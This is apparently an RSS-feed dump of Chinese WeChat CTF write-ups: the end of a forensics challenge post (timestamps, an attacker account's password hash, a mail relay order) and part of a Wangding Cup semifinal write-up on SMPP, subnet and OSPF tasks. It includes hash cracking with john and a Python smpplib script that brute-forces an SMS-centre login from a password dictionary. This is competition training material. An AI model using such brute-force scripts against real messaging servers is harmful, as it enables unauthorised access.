src="https://wechat2rss.xlab.app/img-proxy/?k=50123e84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16B4fJ2eJ5cjnVzvPz5G5b7BgMAh616xahM1xSYaE7tS3VewH8SlMZELg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:uc0ce3e8d;"></span><span style="mso-bookmark:ue098c9f1;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ue098c9f1;"></span><span style="mso-bookmark:ue59b35d1;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">注意要换一下时区，他的是UTC时区，北京时间是UTC+8</span></span></span></span><span style="mso-bookmark:ue59b35d1;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ue59b35d1;"></span><span style="mso-bookmark:u4b11eccc;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{2024/12/21 00:15:34 }</span></span></span></span><span style="mso-bookmark:u4b11eccc;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u4b11eccc;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">14、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:ub3adc941;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ub3adc941;"></span><span style="mso-bookmark:u03abdbb9;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：SERVER-2008-20241220-162057请找到攻击者创建的用户的密码哈希值flag格式 flag{XXXX}</span></span></span></span><span style="mso-bookmark:u03abdbb9;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u03abdbb9;"></span><span style="mso-bookmark:u0236c8a6;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{5ffe97489cbecle08d0c6339ec39416d}}</span></span></span></span><span style="mso-bookmark:u0236c8a6;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u0236c8a6;"></span><span style="mso-bookmark:ZyhGt;"><span style="mso-bookmark:u9cde7d31;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:189.47003173828125px;" class="rich_pages wxw-img" data-ratio="0.309" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=71ae79c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BvZdoTR1ysQ25YbT5qPosvUJ1XiaeibpXy8Rn4nS38eicA0Q5wsbP9bNVw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:ZyhGt;"></span><span style="mso-bookmark:u9cde7d31;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u9cde7d31;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">15、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u26dfe094;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u26dfe094;"></span><span style="mso-bookmark:u3b00cfdd;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">本题作为签到题,请给出邮服发件顺序。Received: from mail.da4s8gag.com ([140.143.207.229])by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8ADfor ; Thu, 17 Oct 2024 11:24:01 +0800X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3kX-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;dkim=none; dmarc=none(permerror) header.from=solar.secReceived: from mail.solar.sec (VM-20-3-centos [127.0.0.1])by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)Date: Thu, 17 Oct 2024 11:24:01 +0800To: hellosolartest@qq.comFrom: 鍏嬪競缃戜俊Subject:xxxxxxxxxxMessage-Id: &lt;20241017112401.032146@mail.solar.sec&gt;X-Mailer: QQMail 2.xXXXXXXXXXXflag格式为flag{domain1|...|domainN}</span></span></span></span><span style="mso-bookmark:u3b00cfdd;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u3b00cfdd;"></span><span style="mso-bookmark:ue95545bd;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">GPT秒了</span></span></span></span><span style="mso-bookmark:ue95545bd;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ue95545bd;"></span><span style="mso-bookmark:ubdc24a95;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com</span></span></span></span><span style="mso-bookmark:ubdc24a95;"></span><span style="mso-bookmark:u46e23c01;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;mso-ansi-language:EN-US;mso-fareast-language:ZH-CN;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">}</span></span></span></span><span style="mso-bookmark:u46e23c01;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;mso-ansi-language:EN-US;mso-fareast-language:ZH-CN;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484526">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=99e5af18&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247484526%26idx%3D1%26sn%3D60e771e45abd48baadd70e3aedd7ec24%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Dec 2024 14:07:00 +0800</pubDate>
    </item>
    <item>
      <title>第三届网鼎杯半决赛部分wp</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247484502&amp;idx=1&amp;sn=2a0c09fef2daf11003270e02f8ba474e</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>Red0</span> <span>2023-04-18 10:54</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2a18120f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHNYZsRbQIPt2oo14lYYDyIwJfYiafj8XrYku2Nb7iar1GV3FzfAufSr7w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 20px;"><strong>一、突破</strong></span></h2><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-top: 8px;margin-bottom: 8px;"><strong><span style="font-size: 18px;">SMPP   </span></strong></h2></li></ul><p>METADATA文件中有一个example代码，修改绑定IP和端口，输入账号密码。（题干已给出） </p><p style="text-align: center;"><span style="text-align: center;text-indent: 2em;"></span><span style="text-align: center;text-indent: 2em;">     </span><shapetype coordsize="21600,21600" spt="75" path="m@4@5l@4@11@9@11@9@5xe" preferrelative="t" filled="f" stroked="f" style="text-align: center;text-indent: 2em;"><stroke joinstyle="miter"></stroke><formulas><f eqn="if lineDrawn pixelLineWidth 0"></f><f eqn="sum @0 1 0"></f><f eqn="sum 0 0 @1"></f><f eqn="prod @2 1 2"></f><f eqn="prod @3 21600 pixelWidth"></f><f eqn="prod @3 21600 pixelHeight"></f><f eqn="sum @0 0 1"></f><f eqn="prod @6 1 2"></f><f eqn="prod @7 21600 pixelWidth"></f><f eqn="sum @8 21600 0"></f><f eqn="prod @7 21600 pixelHeight"></f><f eqn="sum @10 21600 0"></f></formulas><path extrusionok="f" gradientshapeok="t" connecttype="rect"></path><lock aspectratio="t"></lock></shapetype><shape type="#_x0000_t75" filled="t" fillcolor="#FFFFFF" style="text-align: center;text-indent: 2em;"><imagedata title="document_image_rId4"></imagedata></shape><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="245" data-ratio="0.424" style="text-align: center;text-indent: 2em;width: 578px;height: 245px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=8f6de029&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHPgoWoOHsboSUogrQib2yr83LCmxXmH6scpWlNql0lx09AYjI0LSdmhg%2F640%3Fwx_fmt%3Dpng"/></p><p>然后根据题干要求修改短信内容和源地址、目的地址，依次发送两个短信，刷新8888端口http服务，可以看到flag文件。</p><p style="text-align: center;text-indent: 2em;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="387" data-ratio="0.668" style="width: 578px;height: 386px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=bcf841a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHojMHSeWiaPNJMfBZWOy0bALGrNZpWnmkdcxTGDQAJ5VibePicSISgeNnA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> logging            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> smpplib.gsm            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> smpplib.client            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> smpplib.consts            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># if you want to know what&#39;s happening            </span></span></code><code><span class="code-snippet_outer">logging.basicConfig(level=<span class="code-snippet__string">&#39;DEBUG&#39;</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Two parts, UCS2, SMS with UDH            </span></span></code><code><span class="code-snippet_outer">parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(<span class="code-snippet__string">u&#39;Привет мир!\n&#39;</span>*<span class="code-snippet__number">10</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">client = smpplib.client.Client(<span class="code-snippet__string">&#39;example.com&#39;</span>, SOMEPORTNUMBER, allow_unknown_opt_params=<span class="code-snippet__keyword">True</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Print when obtain message_id            </span></span></code><code><span class="code-snippet_outer">client.set_message_sent_handler(            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">lambda</span> pdu: sys.stdout.write(<span class="code-snippet__string">&#39;sent {} {}\n&#39;</span>.format(pdu.sequence, pdu.message_id)))            </span></code><code><span class="code-snippet_outer">client.set_message_received_handler(            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">lambda</span> pdu: sys.stdout.write(<span class="code-snippet__string">&#39;delivered {}\n&#39;</span>.format(pdu.receipted_message_id)))            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">client.connect()            </span></code><code><span class="code-snippet_outer">client.bind_transceiver(system_id=<span class="code-snippet__string">&#39;login&#39;</span>, password=<span class="code-snippet__string">&#39;secret&#39;</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> part <span class="code-snippet__keyword">in</span> parts:            </span></code><code><span class="code-snippet_outer">    pdu = client.send_message(            </span></code><code><span class="code-snippet_outer">        source_addr_ton=smpplib.consts.SMPP_TON_INTL,            </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#source_addr_npi=smpplib.consts.SMPP_NPI_ISDN,            </span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Make sure it is a byte string, not unicode:            </span></span></code><code><span class="code-snippet_outer">        source_addr=<span class="code-snippet__string">&#39;SENDERPHONENUM&#39;</span>,            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">        dest_addr_ton=smpplib.consts.SMPP_TON_INTL,            </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,            </span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Make sure thease two params are byte strings, not unicode:            </span></span></code><code><span class="code-snippet_outer">        destination_addr=<span class="code-snippet__string">&#39;PHONENUMBER&#39;</span>,            </span></code><code><span class="code-snippet_outer">        short_message=part,            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">        data_coding=encoding_flag,            </span></code><code><span class="code-snippet_outer">        esm_class=msg_type_flag,            </span></code><code><span class="code-snippet_outer">        registered_delivery=<span class="code-snippet__keyword">True</span>,            </span></code><code><span class="code-snippet_outer">    )            </span></code><code><span class="code-snippet_outer">    print(pdu.sequence)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># Enters a loop, waiting for incoming PDUs            </span></span></code><code><span class="code-snippet_outer">client.listen()</span></code></pre></section><p>  </p><h2 style="margin-top: 8px;margin-bottom: 8px;white-space: normal;"><span style="font-size: 20px;"><strong>二、共同防御</strong></span></h2><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><p style="margin-bottom: 8px;margin-top: 8px;"> <strong style="font-size: 16px;"><span style="font-size: 18px;">地址计算  </span></strong></p></li></ul><p>掩码为255.255.0.0，网络地址取前16位，后16位置0，得到网络地址为：172.30.0.0，使用md5加密得到答案为：e945964770a0fd6f0dbbcd9622f2e63f。</p><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><p style="white-space: normal;margin-bottom: 8px;margin-top: 8px;"> <strong style="font-size: 16px;"><span style="font-size: 18px;">ospf密钥获取</span></strong><strong style="font-size: 16px;"><span style="font-size: 18px;"></span></strong><span style="font-size: 16px;"> </span></p></li></ul><p>从pcap包中提取ospf密码hash值，借助kali的john工具进行md5爆破后即可得到密码。</p><section style="text-align: center;margin-left: 0px;margin-right: 0px;">      <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="462" data-cropsely1="0" data-cropsely2="264" data-ratio="0.571764705882353" style="width: 462px;height: 264px;" data-type="png" data-w="850" src="https://wechat2rss.xlab.app/img-proxy/?k=4087750f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHibEq4oyR0KocYsUPUgMxsLBWzQdFoqpoP1KbZ24bes9d1PkukBETDdQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin-left: 0px;margin-right: 0px;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="117" data-ratio="0.201" style="width: 578px;height: 116px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=c88f92af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHyG7IBUGhGJPx31XGdEDc4CgVVqOIgHiamOTsibC4jSbzKib8t24xt8bfg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-left: 0px;margin-right: 0px;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="480" data-cropsely1="0" data-cropsely2="131" data-ratio="0.2732426303854875" style="width: 480px;height: 131px;" data-type="png" data-w="882" src="https://wechat2rss.xlab.app/img-proxy/?k=e3c53dbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VH1Qqp0FkvvQ1L955sRAjCRW0Myzw1k8TRudyav3tI9E271vmdprq1cQ%2F640%3Fwx_fmt%3Dpng"/></section><p>答案即为flag{yuio}</p><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><p style="white-space: normal;margin-top: 8px;margin-bottom: 8px;"> <strong style="font-size: 16px;"><span style="font-size: 18px;">短信中心密码爆破</span></strong></p></li></ul><p>编写smpplib登录脚本，遍历密码字典中的密码，若登录异常则继续爆破，直到登录无异常，即得到正确的密码。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> logging            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> smpplib.gsm            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> smpplib.client            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> smpplib.consts            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># if you want to know what&#39;s happening            </span></span></code><code><span class="code-snippet_outer">logging.basicConfig(level=<span class="code-snippet__string">&#39;DEBUG&#39;</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Two parts, UCS2, SMS with UDH            </span></span></code><code><span class="code-snippet_outer">parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(<span class="code-snippet__string">u&#39;Привет мир!\n&#39;</span>*<span class="code-snippet__number">10</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">client = smpplib.client.Client(<span class="code-snippet__string">&#39;172.16.9.37&#39;</span>, <span class="code-snippet__number">2776</span>, allow_unknown_opt_params=<span class="code-snippet__keyword">True</span>)            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Print when obtain message_id            </span></span></code><code><span class="code-snippet_outer">client.set_message_sent_handler(            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">lambda</span> pdu: sys.stdout.write(<span class="code-snippet__string">&#39;sent {} {}\n&#39;</span>.format(pdu.sequence, pdu.message_id)))            </span></code><code><span class="code-snippet_outer">client.set_message_received_handler(            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">lambda</span> pdu: sys.stdout.write(<span class="code-snippet__string">&#39;delivered {}\n&#39;</span>.format(pdu.receipted_message_id)))            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">client.connect()            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">with</span> open (<span class="code-snippet__string">&#39;password_dict.txt&#39;</span>,<span class="code-snippet__string">&#39;r&#39;</span>)<span class="code-snippet__keyword">as</span> f:            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> f.readlines():            </span></code><code><span class="code-snippet_outer">        i=i.strip()            </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:            </span></code><code><span class="code-snippet_outer">            client.bind_transceiver(system_id=<span class="code-snippet__string">&#39;admin&#39;</span>, password=i)            </span></code><code><span class="code-snippet_outer">            print(i)            </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">break</span>            </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span>:            </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span>            </span></code></pre></section><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="400" data-cropsely1="0" data-cropsely2="149" data-ratio="0.37193460490463215" style="width: 401px;height: 149px;" data-type="png" data-w="734" 